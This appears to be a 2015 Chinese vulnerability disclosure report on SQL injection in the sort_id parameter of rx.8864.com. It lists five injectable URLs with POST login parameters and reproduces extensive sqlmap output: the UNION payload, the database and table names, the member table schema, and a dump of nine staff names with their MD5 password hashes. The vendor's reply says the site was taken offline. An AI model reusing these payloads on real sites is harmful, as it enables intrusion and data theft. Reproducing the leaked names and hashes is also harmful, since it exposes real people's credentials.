2015-06-10： 细节已通知厂商并且等待厂商处理中 2015-06-10： 厂商已经确认，细节仅向厂商公开 2015-06-20： 细节向核心白帽子及相关领域专家公开 2015-06-30： 细节向普通白帽子公开 2015-07-10： 细节向实习白帽子公开 2015-07-25： 细节向公众公开
RT
五处注入(三处POST，两处GET)第一处POST注入
http://rx.8864.com/gonglist.php?sort_id=*POST参数passportName_login=vhuuhbwv&passportPswd_login=111122223&save=on&save_password=on&validate_login=vhuuhbwv注入点：sort_id
第二处POST注入
http://rx.8864.com/imagelist.php?page=2&sort_id=*POST参数passportName_login=cyfjcsuj&passportPswd_login=111122223&save=on&save_password=on&validate_login=cyfjcsuj注入点：sort_id
第三处 GET注入
http://rx.8864.com/imagelist.php?page=2&sort_id=*注入点：sort_id
第四处 POST注入
http://rx.8864.com/imagelist.php?&sort_id=*POST参数passportName_login=rmsggysd&passportPswd_login=111122223&save=on&save_password=on&validate_login=rmsggysd注入点：sort_id
第五处GET注入第三处 GET注入
http://rx.8864.com/imagelist.php?&sort_id=*注入点：sort_id
sqlmap identified the following injection points with a total of 891 HTTP(s) requests:---Parameter: #1* (URI) Type: UNION query Title: Generic UNION query (random number) - 4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328) UNION ALL SELECT 7359,7359,CONCAT(0x71717a6a71,0x50785a425a4249434f64,0x7176626271),7359-- Vector: UNION ALL SELECT 6013,6013,[QUERY],6013-- ---web application technology: Apacheback-end DBMS: MySQL >= 5.0.0available databases [2]:[*] information_schema[*] rxxy_websqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* (URI) Type: UNION query Title: Generic UNION query (random number) - 4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328) UNION ALL SELECT 7359,7359,CONCAT(0x71717a6a71,0x50785a425a4249434f64,0x7176626271),7359-- Vector: UNION ALL SELECT 1926,1926,[QUERY],1926-- ---web application technology: Apacheback-end DBMS: MySQL >= 5.0.0Database: rxxy_web[31 tables]+------------------------------+| rxxy_activity_firstjh_cdkey || rxxy_activity_firstjh_log || rxxy_activity_firstjh_lunpan || rxxy_activity_firstjh_vote || rxxy_address || rxxy_article || rxxy_article_inserl || rxxy_build || rxxy_channel || rxxy_columns || rxxy_comment || rxxy_download || rxxy_editors_inserl || rxxy_flash || rxxy_grading || rxxy_group || rxxy_image || rxxy_image_inserl || rxxy_member || rxxy_passportstat || rxxy_sort || rxxy_template || rxxy_url || rxxy_url_inserl || rxxy_vote || rxxy_vote_inserl || rxxy_vote_option || rxxy_wj_article || rxxy_wj_article_inserl || rxxy_wj_image || rxxy_wj_image_inserl |+------------------------------+sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* (URI) Type: UNION query Title: Generic UNION query (random number) - 4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328) UNION ALL SELECT 7359,7359,CONCAT(0x71717a6a71,0x50785a425a4249434f64,0x7176626271),7359-- Vector: UNION ALL SELECT 9254,9254,[QUERY],9254-- ---web application technology: Apacheback-end DBMS: MySQL >= 5.0.0sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* (URI) Type: UNION query Title: Generic UNION query (random number) - 4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328) UNION ALL SELECT 7359,7359,CONCAT(0x71717a6a71,0x50785a425a4249434f64,0x7176626271),7359-- Vector: UNION ALL SELECT 4670,4670,[QUERY],4670-- ---web application technology: Apacheback-end DBMS: MySQL >= 5.0.0sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* (URI) Type: UNION query Title: Generic UNION query (random number) - 4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328) UNION ALL SELECT 7359,7359,CONCAT(0x71717a6a71,0x50785a425a4249434f64,0x7176626271),7359-- Vector: UNION ALL SELECT 7537,7537,[QUERY],7537-- ---web application technology: Apacheback-end DBMS: MySQL >= 5.0.0Database: rxxy_webTable: rxxy_member[26 columns]+----------------+--------------+| Column | Type |+----------------+--------------+| address_id | int(11) || article_id | int(11) || group_id | int(11) || id | int(11) || image_id | int(11) || nickname | varchar(64) || uadd_time | datetime || url_id | int(11) || user_age | date || user_Dreply | int(11) || user_Dtopic | int(11) || user_email | varchar(32) || user_grading | varchar(64) || user_jointime | datetime || user_like | varchar(255) || user_movephone | varchar(32) || user_msn | varchar(128) || user_name | varchar(32) || user_passwd | varchar(32) || user_perfect | int(11) || user_qq | int(11) || user_sex | int(2) || user_state | int(2) || user_Treply | int(11) || user_Ttopic | int(11) || vote_id | int(11) |+----------------+--------------+sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* (URI) Type: UNION query Title: Generic UNION query (random number) - 4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328) UNION ALL SELECT 7359,7359,CONCAT(0x71717a6a71,0x50785a425a4249434f64,0x7176626271),7359-- Vector: UNION ALL SELECT 6116,6116,[QUERY],6116-- ---web application technology: Apacheback-end DBMS: MySQL >= 5.0.0Database: rxxy_webTable: rxxy_member[9 entries]+-----------+----------------------------------+| user_name | user_passwd |+-----------+----------------------------------+| 董勇 | 862f3760ca3293437b53cac01b0ffe29 || 王磊 | e10adc3949ba59abbe56e057f20f883e || 刘志刚 | 30fed3a8f7747d5b55707b5ebfe4dc77 || 运维值班工程师 | cbef2ead7978557272b0c692f356b3cd || 韩秋莹 | 2f090f77c0d55fdf508e324140050160 || 张静 | a10f4b7e48419178177232d2d31dc4b8 || 张晨 | 92a870e23eaac7b3c576e91b807f2a60 || 李治 | 7e42a7ea7643c35fa5854f0f8d6e9131 || 黄孟琪 | 471c75ee6643a10934502bdafee198fb |+-----------+----------------------------------+
参数过滤
危害等级：高
漏洞Rank：11
确认时间：2015-06-10 18:25
该产品已下线，我们着手关闭站点的操作。感谢
暂无
